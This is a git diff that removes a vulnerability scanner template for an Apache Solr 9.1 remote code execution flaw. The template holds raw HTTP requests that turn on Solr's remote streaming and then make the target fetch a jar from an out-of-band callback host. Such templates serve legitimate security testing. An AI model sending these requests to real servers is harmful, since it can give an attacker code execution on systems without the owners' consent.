diff --git a/http/apache-solr-91-rce.yaml b/http/apache-solr-91-rce.yaml deleted file mode 100644 index bf1891c8fd..0000000000 --- a/http/apache-solr-91-rce.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: apache-solr-91-rce - -info: - name: Apache Solr 9.1 RCE - author: j4vaovo - severity: critical - description: | - Apache Solr 9.1 RCE - reference: - - https://noahblog.360.cn/apache-solr-rce/ - tags: solr,apache,rce,oast - -requests: - - raw: - - | - POST /solr/gettingstarted_shard1_replica_n1/config HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - { "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} - - - | - POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9 - Connection: close - - --------------------------5897997e44b07bf9 - Content-Disposition: form-data; name="stream.url" - - jar:http://{{interactsh-url}}/test.jar?!/Test.class - --------------------------5897997e44b07bf9-- - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - - type: word - part: interactsh_request - words: - - "User-Agent: Java"